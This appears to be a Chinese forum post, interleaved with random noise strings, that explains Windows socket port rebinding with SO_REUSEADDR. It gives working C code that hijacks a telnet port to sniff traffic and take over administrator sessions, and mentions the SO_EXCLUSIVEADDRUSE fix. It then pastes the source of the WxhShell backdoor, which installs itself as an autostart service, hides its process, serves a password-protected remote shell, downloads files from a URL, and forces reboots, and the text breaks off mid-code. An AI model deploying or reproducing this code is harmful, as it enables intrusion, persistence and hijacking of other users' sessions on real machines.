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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: deNU[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wP%;9y2B  
<:?&}'aA  
  saddr.sin_family = AF_INET; X*T9`]l6  
&("?6%GC  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &7 ,wdG  
*M{1RMc  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); hRP0Djc  
,#crtX  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 sEoS|"  
-Jhf]  
  这意味着什么?意味着可以进行如下的攻击: f*Kipgp  
{1o=/&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 gVGq  
.D :v0Zm}m  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) E$cr3 t7Xy  
_Qv4;a  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1xw},y6T2  
Z1Ms ~tch  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  :!%oQQO  
X **w RF  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 R{T4AZ@,'  
T/H*Bo *=5  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .m<-)Kx  
BjA|H  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 g$A1*<+  
W?@ ;(k  
  #include 7l?=$q>k"  
  #include E(TY%wO  
  #include b`^$2RM&  
  #include    +G?3j,a\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (k[<>$hL*  
  int main() eN/Jb;W  
  { @-hy:th#  
  WORD wVersionRequested; r@_;L>  
  DWORD ret; 8'zwy d3  
  WSADATA wsaData; c6e?)(V>  
  BOOL val; _%t w#cM  
  SOCKADDR_IN saddr; U<*dDE~z  
  SOCKADDR_IN scaddr; *@O;IiSE  
  int err; 0Vg8o @  
  SOCKET s; $lO\eQGxB  
  SOCKET sc; z.QW*rW9  
  int caddsize; }%VHBkuc  
  HANDLE mt; IRpCbTIXK  
  DWORD tid;   9<R:)Df  
  wVersionRequested = MAKEWORD( 2, 2 ); o:?IT/>  
  err = WSAStartup( wVersionRequested, &wsaData ); C}M0KDF  
  if ( err != 0 ) { hVd63_OO  
  printf("error!WSAStartup failed!\n"); QPBf++|  
  return -1; &=f%(,+  
  } KVK@Snn   
  saddr.sin_family = AF_INET; 6ds&n#n  
   V482V#BP  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 jildiT[s  
5 bgx;z9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); l!`m}$  
  saddr.sin_port = htons(23); c0tv!PSw  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d~.#KS  
  { A0'Yfuie  
  printf("error!socket failed!\n"); b+{yF  
  return -1; u!t'J+:  
  } 5^%FEZ&Sp  
  val = TRUE; `/0FXb 8h  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 tf>?;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) C3 D1rS/I  
  { r1,RloyZS  
  printf("error!setsockopt failed!\n"); ,#s}nJ4  
  return -1; 9D&ocV3QV  
  } ~x824xW  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ll6~8PN  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 P,,@&* :  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 d=q2Or   
eQMY3/#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) W4Zi?@L>'  
  { /H}83 C  
  ret=GetLastError(); ?:UDK?  
  printf("error!bind failed!\n"); p`Ax)L\f  
  return -1; `2GHB@S"k  
  } nL\BB&  
  listen(s,2); [^aow-4z  
  while(1) y%43w4  
  { ,;UVQwY  
  caddsize = sizeof(scaddr); 'DVPx%p  
  //接受连接请求 ~~>D=~B0'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); !)ee{CwNc  
  if(sc!=INVALID_SOCKET) d6wsT\S  
  { $LKniK  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i/~A7\:8%  
  if(mt==NULL) 92XzbbLp  
  { uQrD}%GI  
  printf("Thread Creat Failed!\n"); f\1)BZ'I  
  break; nd-y`@z  
  } z~Gi/Ln  
  } `NrxoU=  
  CloseHandle(mt); zxXm9zrLo  
  } "`16-g97  
  closesocket(s); \  VJ3  
  WSACleanup(); )~rN{W<s`H  
  return 0; )fv0H&g  
  }   l\a 0 k4  
  DWORD WINAPI ClientThread(LPVOID lpParam) *V5R[   
  { gaVWfG  
  SOCKET ss = (SOCKET)lpParam; waldLb>7D  
  SOCKET sc; qY0p)`3!%  
  unsigned char buf[4096]; tZwZZ0]Z  
  SOCKADDR_IN saddr; CsXIq.9  
  long num; LC/6'4}_  
  DWORD val; 8IbHDDS  
  DWORD ret; gTm[<Y  
  //如果是隐藏端口应用的话,可以在此处加一些判断 !\2Xr{f  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8h}o5B  
  saddr.sin_family = AF_INET; 7@5}WNr  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 9tWu>keu  
  saddr.sin_port = htons(23);  GVe[)R  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) BG/M3  
  { j$siCsF  
  printf("error!socket failed!\n"); an=8['X  
  return -1; WM~@/J  
  } P;{f+I|`  
  val = 100; wm !Y5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) BH0].-)[y!  
  { YR^J7b\  
  ret = GetLastError(); "I}3*s9Q-  
  return -1; {+!m]-s  
  } Z-.`JkKd8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m o nqaSF  
  { 8 Ys DE_  
  ret = GetLastError(); wHvX|GwMv  
  return -1; V`m'r+ Y  
  } *{/BPc0*  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) txw:m*(%  
  { :iP2e+j  
  printf("error!socket connect failed!\n"); 'WUd7  
  closesocket(sc); QGs\af  
  closesocket(ss); -xPv]j$  
  return -1; 3[amCKel  
  } _f8Wa u# "  
  while(1) Nyip]VwMJ  
  { [}}?a   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 y}Oc^Fc  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 :>c33X}  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 FIDV5Y/f  
  num = recv(ss,buf,4096,0); >$j?2,Za(V  
  if(num>0) .Ce30VE-  
  send(sc,buf,num,0); HM /2/ /  
  else if(num==0) DKp+ nq$  
  break; Q,S~+bD(z  
  num = recv(sc,buf,4096,0); j|c  
  if(num>0) [< Bk% B5  
  send(ss,buf,num,0); ]nY,%XE  
  else if(num==0) Q30A aG}f  
  break; O4dJ> O  
  } uS`XWn<CSD  
  closesocket(ss); w3WBgH  
  closesocket(sc); >08'+\~:b  
  return 0 ; JTA65T{3  
  } t2uX+1F  
).0klwfV  
U@T"teGBA  
========================================================== i=jwk_y  
pyJY]"UHVE  
下边附上一个代码,,WXhSHELL E<]O,z;F  
MH7 n@.t  
========================================================== )7jjfD\  
F!(Vg  
#include "stdafx.h" R OsR;C0!  
H]As2$[  
#include <stdio.h> F,5~a_GP?  
#include <string.h> 3}~.#`QeY  
#include <windows.h> )_BQ@5NK  
#include <winsock2.h> (?4m0Sn>#h  
#include <winsvc.h> .5*5S[  
#include <urlmon.h> jwhc;y  
dxfF.\BFDn  
#pragma comment (lib, "Ws2_32.lib") /vO8s??  
#pragma comment (lib, "urlmon.lib") =z#6mSx|W  
i[_B~/_  
#define MAX_USER   100 // 最大客户端连接数 '-c *S]:r  
#define BUF_SOCK   200 // sock buffer tqbYrF)  
#define KEY_BUFF   255 // 输入 buffer -|V1A[  
ZEa31[@B[  
#define REBOOT     0   // 重启 @ >_v/U'  
#define SHUTDOWN   1   // 关机 AUjZYp  
a4aM.o  
#define DEF_PORT   5000 // 监听端口 Wg{ 9X#|  
cip5 -Z@8  
#define REG_LEN     16   // 注册表键长度 W cOyOv  
#define SVC_LEN     80   // NT服务名长度 m'HAt~  
|z1er"zR)  
// 从dll定义API 89n\$7Ff9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X\&CQiPS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S7a05NO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >V1vw7Pa  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s R/z)U_  
FJ-X~^  
// wxhshell配置信息 ./5LV)_`  
struct WSCFG { hNU$a?eVpR  
  int ws_port;         // 监听端口 D]tI's1  
  char ws_passstr[REG_LEN]; // 口令 P! cfe@;<4  
  int ws_autoins;       // 安装标记, 1=yes 0=no t?1 b(oJ  
  char ws_regname[REG_LEN]; // 注册表键名 [h&)h+xt  
  char ws_svcname[REG_LEN]; // 服务名 ^cRAtoa  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,i RUR 8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 a=_+8RyVQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %Yw?!GvL[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U/ds(*g@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gug9cmA/Q7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _\&v A5-  
Mbm'cM&}  
}; t?Ku6Z'  
 GY`mF1b  
// default Wxhshell configuration /tdRUX  
struct WSCFG wscfg={DEF_PORT, (}B3df  
    "xuhuanlingzhe", @=<B8VPJd  
    1, >G9YYt~  
    "Wxhshell", *RYok{w  
    "Wxhshell", L0\~ K~q  
            "WxhShell Service", xqSoE[<v  
    "Wrsky Windows CmdShell Service", ,F%2'W  
    "Please Input Your Password: ", S$N!Dj@e;  
  1, Fv_B(a  
  "http://www.wrsky.com/wxhshell.exe", 8yCt(ms  
  "Wxhshell.exe" s@ 02 ?+/  
    }; MoZ8A6e?B  
7m$EZTw?  
// 消息定义模块 Z1}@N/>>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NI  r"i2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (zr2b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =0t<:-?.-  
char *msg_ws_ext="\n\rExit."; :%[mc-6.  
char *msg_ws_end="\n\rQuit."; D?.H|%  
char *msg_ws_boot="\n\rReboot..."; Y~TD)c=  
char *msg_ws_poff="\n\rShutdown..."; '2z1$zst,#  
char *msg_ws_down="\n\rSave to "; [_HY6gr  
@ / .w%  
char *msg_ws_err="\n\rErr!"; Y;)l  
char *msg_ws_ok="\n\rOK!"; G!)Q"+  
;~,)6UX7  
char ExeFile[MAX_PATH]; F,8?du]  
int nUser = 0; rSa=NpFxLu  
HANDLE handles[MAX_USER]; #_SsSD=.Sy  
int OsIsNt; -xXdT$Xd  
G)IK5zCDd  
SERVICE_STATUS       serviceStatus; Ev Ye1Y-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CL3b+r  
%ZsdCQc{`  
// 函数声明 HT:V;?"  
int Install(void); 1K#%mV_  
int Uninstall(void); XjXz#0nR  
int DownloadFile(char *sURL, SOCKET wsh); b|-}?@&7&q  
int Boot(int flag); i&TWIl8  
void HideProc(void); W" Tj.oCUG  
int GetOsVer(void); #=V\WQb  
int Wxhshell(SOCKET wsl); :u]QEZ@@  
void TalkWithClient(void *cs); gb{8SG5ac  
int CmdShell(SOCKET sock); :\Q#W4~p  
int StartFromService(void); T@jv0/(+  
int StartWxhshell(LPSTR lpCmdLine); 6bDizS}  
~_SRcM{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); i@`qam   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %(1Jt "9|  
|b4f3n  
// 数据结构和表定义 Skg}/Ek  
SERVICE_TABLE_ENTRY DispatchTable[] = +!Q*ie+q  
{ S3UJ)@ E  
{wscfg.ws_svcname, NTServiceMain}, u!-v1O^[  
{NULL, NULL} &gF9VY  
}; [*J?TNk  
:85QwN]\  
// 自我安装 WF_ v>g:g  
int Install(void) gNJdP!(t  
{ !bIE%cq  
  char svExeFile[MAX_PATH]; EQtYb"_  
  HKEY key; 5?Ukf$)x  
  strcpy(svExeFile,ExeFile); oj/#wF+  
I5@8=rFk  
// 如果是win9x系统,修改注册表设为自启动 J#gG*(  
if(!OsIsNt) { UHgW-N"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Pcjrv:0$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7,s5Gd-  
  RegCloseKey(key); LAFxeo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -^Qm_lN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "$/1.SX;]  
  RegCloseKey(key); [<|$If99\  
  return 0; q/^?rd  
    } LGK&&srJs  
  } ?bPW*A82{q  
} Y(u`K=*  
else { )Ma/] eZ^I  
*xjP^y":  
// 如果是NT以上系统,安装为系统服务 O!ilTMr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~h:(9q8NLC  
if (schSCManager!=0) v@4vitbG9  
{ F`La_]f?b\  
  SC_HANDLE schService = CreateService Z,tHyyF?j  
  ( "ql$Rz8  
  schSCManager, zR4]buHnE  
  wscfg.ws_svcname, naM~>N  
  wscfg.ws_svcdisp, ^T*!~K8A  
  SERVICE_ALL_ACCESS, aL*}@|JL"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xI_0`@do  
  SERVICE_AUTO_START, 0NK|3]p  
  SERVICE_ERROR_NORMAL, ~Ajst!Y7=  
  svExeFile, GYg.B<Q.  
  NULL, ({zWyl  
  NULL, UxxX8N  
  NULL, cm0$v8  
  NULL, @+0dgkJ  
  NULL - ~4na{6x  
  );  =W&m{F96  
  if (schService!=0) ~{$c|  
  { z9!OzGtIR  
  CloseServiceHandle(schService); /ykc`E?f  
  CloseServiceHandle(schSCManager); -u7NBtgUh  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XG!6[o;  
  strcat(svExeFile,wscfg.ws_svcname); ]j!pK4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mMvAA;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %LM6=nt  
  RegCloseKey(key); L?Ys(a"k  
  return 0; ~MP |L?my  
    } CG95ScrX  
  } E0x\h<6W~  
  CloseServiceHandle(schSCManager); =XtQ\$Pax  
} ^i r)z@P?V  
} !9{UBAh  
O._\l?m  
return 1; R58NTPm  
} F2\&rC4v  
9|3sNFGX  
// 自我卸载 /OYa1,  
int Uninstall(void) E%( s=YhW  
{ Ex Q\qp3  
  HKEY key; tJ7F.}\;C  
#.!#"8{0_  
if(!OsIsNt) { Y9gw ('\w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jABFdNjri  
  RegDeleteValue(key,wscfg.ws_regname); 4AKr.a0q  
  RegCloseKey(key); =j{tFxJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4l{$dtKbI  
  RegDeleteValue(key,wscfg.ws_regname); )&O6d .  
  RegCloseKey(key); Mna yiJl  
  return 0; c%WO#}r|  
  } <W>A }}q  
} ~ g-(  
} g*(z .  
else { LuHRB}W  
&2U%/JqY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  WzoI0E`  
if (schSCManager!=0) a#{"3Z2|  
{ :b*7TJ\grN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G"m?2$^-A  
  if (schService!=0) V2|By,.  
  { {F2Rv  
  if(DeleteService(schService)!=0) { e&2,cQRFV  
  CloseServiceHandle(schService); f,F1k9-1!  
  CloseServiceHandle(schSCManager); W/%hS)75  
  return 0; [& Z- *a  
  } 7{(UiQbf  
  CloseServiceHandle(schService); KK5;6b  
  } fm@Pa} ,  
  CloseServiceHandle(schSCManager); _5H~1G%q  
} (~%NRH<\  
} [u$|/  
tjwn FqI  
return 1; D(;+my2  
} C #iZAR  
2Wu`Dp;&l  
// 从指定url下载文件 O_7}H)  
int DownloadFile(char *sURL, SOCKET wsh) Vfga%K%l F  
{ y631;dU  
  HRESULT hr; 934j5D  
char seps[]= "/"; +7o1&D*v  
char *token; g1|Py t{  
char *file; t0jE\6r  
char myURL[MAX_PATH]; 8nu!5 3  
char myFILE[MAX_PATH]; }^0'IAXi  
[qW%H,_  
strcpy(myURL,sURL); 7Mq{Py1  
  token=strtok(myURL,seps); bhGRD{=  
  while(token!=NULL) _/z_ X  
  { :IBP "  
    file=token; \O4s0*gw  
  token=strtok(NULL,seps); Z5n-3h!+ED  
  } w|]Tt="   
*;9H\%  
GetCurrentDirectory(MAX_PATH,myFILE); -3i(N.)<;  
strcat(myFILE, "\\"); [5p3:D  
strcat(myFILE, file); u<uc"KY=  
  send(wsh,myFILE,strlen(myFILE),0); !L8q]]'XM  
send(wsh,"...",3,0); Sir1>YEm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k2$pcR,WM  
  if(hr==S_OK) E0Q6Ryn  
return 0; auc:|?H~1n  
else ['Lo8 [  
return 1; #^r-D[/m  
[8UZ5_1WL  
} 2oEuqHL  
gm2|`^Xq$  
// 系统电源模块 _S7?c^:~  
int Boot(int flag) @2L^?*n=  
{ R;pW,]}g,  
  HANDLE hToken; 4K'U}W  
  TOKEN_PRIVILEGES tkp; g_IcF><F  
.:f ao'  
  if(OsIsNt) { ?8{Os;!je  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x'|9A?ez@Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .`m|Uf#" _  
    tkp.PrivilegeCount = 1; $x`HmL3Sb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !L{mE&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); MKvmzLh$)  
if(flag==REBOOT) { g*My1+J!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o-Dfud@  
  return 0; n}F$kyI  
} fo+s+Q|Y  
else { Y @'do)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]T'8O`  
  return 0; "i(f+N,)  
} c:Cw #  
  } 'DVn /3?X  
  else { MymsDdQ]  
if(flag==REBOOT) { nvf5a-C+q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) & ;.rPU  
  return 0; lY"l6.c  
} U`=r .>  
else { j@(S7=^C6%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %;ED} X  
  return 0; HBR/" m  
} Z2m^yRQ(  
} U5N|2  
U ->vk{v  
return 1; APF`b  
} 8v2Wi.4T  
d;p3cW"  
// win9x进程隐藏模块 @}H'2V  
void HideProc(void) MYvz%7  
{ t2{(ETV  
-e(<Jd_=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -s2)!Iko&  
  if ( hKernel != NULL ) *Vq'%b9  
  { ]Ss63Vd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l<uI-RX "  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Uz,P^\8^$  
    FreeLibrary(hKernel); Jj [3rt?8  
  } Mn/  
Z0zEX?2mb  
return; qjkWCLOd  
} JS8pN5   
5]]QW3  
// 获取操作系统版本 yW1N&$n  
int GetOsVer(void) XchD3p+uB  
{ EiC["M'}  
  OSVERSIONINFO winfo; g]HxPq+O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]kmAN65c  
  GetVersionEx(&winfo); uKXU.u*C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~s4JGV~R  
  return 1;  EH2):  
  else lshSRir  
  return 0; ym6Emf]  
} sq#C|v/  
D[@- `F  
// 客户端句柄模块 U&B(uk(2  
int Wxhshell(SOCKET wsl) B&X)bGx8  
{ .aa7*e  
  SOCKET wsh;  lY`WEu  
  struct sockaddr_in client; "~=}&  
  DWORD myID; 2BOH8Mp9  
gsQn@(;  
  while(nUser<MAX_USER) [7DU0Xg7  
{ W3\+51P  
  int nSize=sizeof(client); A ;`[va  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); CpN*1s})d  
  if(wsh==INVALID_SOCKET) return 1; XU}i<5  
YGChVROG~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  !vl1#@  
if(handles[nUser]==0) bu pW*fD:  
  closesocket(wsh); sOWP0x  Y  
else wd|^m%  
  nUser++; K[noW  
  } K6B6@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s!YX<V  
*B&i`tq  
  return 0; N/{=j  
} aRWj+[[7y  
rM~Mqpk  
// 关闭 socket UVi9}zr  
void CloseIt(SOCKET wsh) C|FI4/-e  
{ ;+f(1=x  
closesocket(wsh); j/uMSE  
nUser--; epk C '  
ExitThread(0); : LX!T&  
} o%]b\Vl6  
j y p.2c  
// 客户端请求句柄 _%rkN0-(a  
void TalkWithClient(void *cs) r H9}VA:h  
{ _pS)bx w  
gEVoY,}/-U  
  SOCKET wsh=(SOCKET)cs; k~<ORnda  
  char pwd[SVC_LEN]; L-|7 &  
  char cmd[KEY_BUFF]; ;2BPEo>z9  
char chr[1]; P&o+ut:  
int i,j; @d3yqA  
25xt*30M  
  while (nUser < MAX_USER) { }/NL"0j+4  
:8)3t! A  
if(wscfg.ws_passstr) { u?g;fh6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +)( "!@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K nn<q=';G  
  //ZeroMemory(pwd,KEY_BUFF); 6 ;\>,  
      i=0; y>UQm|o<W  
  while(i<SVC_LEN) { /WAOpf5  
`a7b,d  
  // 设置超时 K^AIqL8  
  fd_set FdRead; 8.`5"9Vh  
  struct timeval TimeOut; 0R+<^6^l)  
  FD_ZERO(&FdRead); I%{D5.du  
  FD_SET(wsh,&FdRead); g ?% ]()E  
  TimeOut.tv_sec=8; EJ:2]!O  
  TimeOut.tv_usec=0; czo*_q%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  ,8p-EH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S^e e<%-  
#{bT=:3a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4%jSqT@  
  pwd=chr[0]; v>Kv!OY:c  
  if(chr[0]==0xd || chr[0]==0xa) { ir )~T0  
  pwd=0; Vc|QW  
  break; Mm"0Ip2"  
  } +{ e2TY  
  i++; b Oh[(O!  
    } .ddf'$6h  
z{> )'A/  
  // 如果是非法用户,关闭 socket <e8Ux#x/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =p!Hl#  
} 5&U?\YNLa  
$>l65)(E\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <M3&\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MIAC'_<-e  
NzID [8`  
while(1) { );z/ @Q  
9@p+g`o  
  ZeroMemory(cmd,KEY_BUFF); g7LS  
7tT L,Nxe  
      // 自动支持客户端 telnet标准   wAF#N1-k  
  j=0; r$d'[ZcX  
  while(j<KEY_BUFF) { 6CWm;%B#G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {1wjIo"ptg  
  cmd[j]=chr[0]; g>f_'7F&  
  if(chr[0]==0xa || chr[0]==0xd) { :?gk =JH:  
  cmd[j]=0; Q;p% VQ  
  break; -S}^b6WL  
  } .TRp74  
  j++; Ria*+.k@"B  
    } ]:]w+N%7  
<m?/yRE K2  
  // 下载文件 dy0xz5N-  
  if(strstr(cmd,"http://")) { y"0! 7^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q&k?$rn  
  if(DownloadFile(cmd,wsh)) .sPa${  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ba|76OBRJ  
  else $k3l[@;hE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 71yf+xL  
  } M}F) P&Y  
  else { #>\8m+h 9  
..ht)Gex  
    switch(cmd[0]) { bU"2D.k  
  a<Pt m(,  
  // 帮助 jJY!;f  
  case '?': { a s?)6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yy3-Xu4  
    break; >9]i#So^  
  } 4ze4{a^  
  // 安装 iX'#~eK*<  
  case 'i': { :.EVvuXI  
    if(Install()) ZzO.s$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \>XkK<ye  
    else 6~6*(s|]A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6Yx/m  
    break; m3K .\3  
    } 6/thhP3`-  
  // 卸载 3LD`Ep   
  case 'r': { 6oLq2Z8uP  
    if(Uninstall()) )h?Pz1-W1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?qjlWCV|e  
    else !+I!J s"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P"mD 73a  
    break; ( u}tUv3  
    } $5/lU }To  
  // 显示 wxhshell 所在路径 FY;R0+N  
  case 'p': { V2|XcR  
    char svExeFile[MAX_PATH]; ! .|\}=[e  
    strcpy(svExeFile,"\n\r"); '&$xLZ8  
      strcat(svExeFile,ExeFile); 9"~,ha7S$  
        send(wsh,svExeFile,strlen(svExeFile),0); h wfKgsm  
    break; Va m4/6  
    } 1 9C=' TMS  
  // 重启 VM[Vh k[  
  case 'b': { %CiZ>`5n#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rYMHc@a9(  
    if(Boot(REBOOT)) +gOv5Eno-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :CAbGs:56  
    else { ep2#a#&'  
    closesocket(wsh); 7$* O+bkn:  
    ExitThread(0); g!`$bF=e  
    } T"$yh2tSY  
    break; m2"~.iM8  
    } nXOJ  
  // 关机 ${F] N }  
  case 'd': { /!Ng"^.e  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %7~~*_G  
    if(Boot(SHUTDOWN)) I=I'O?w  
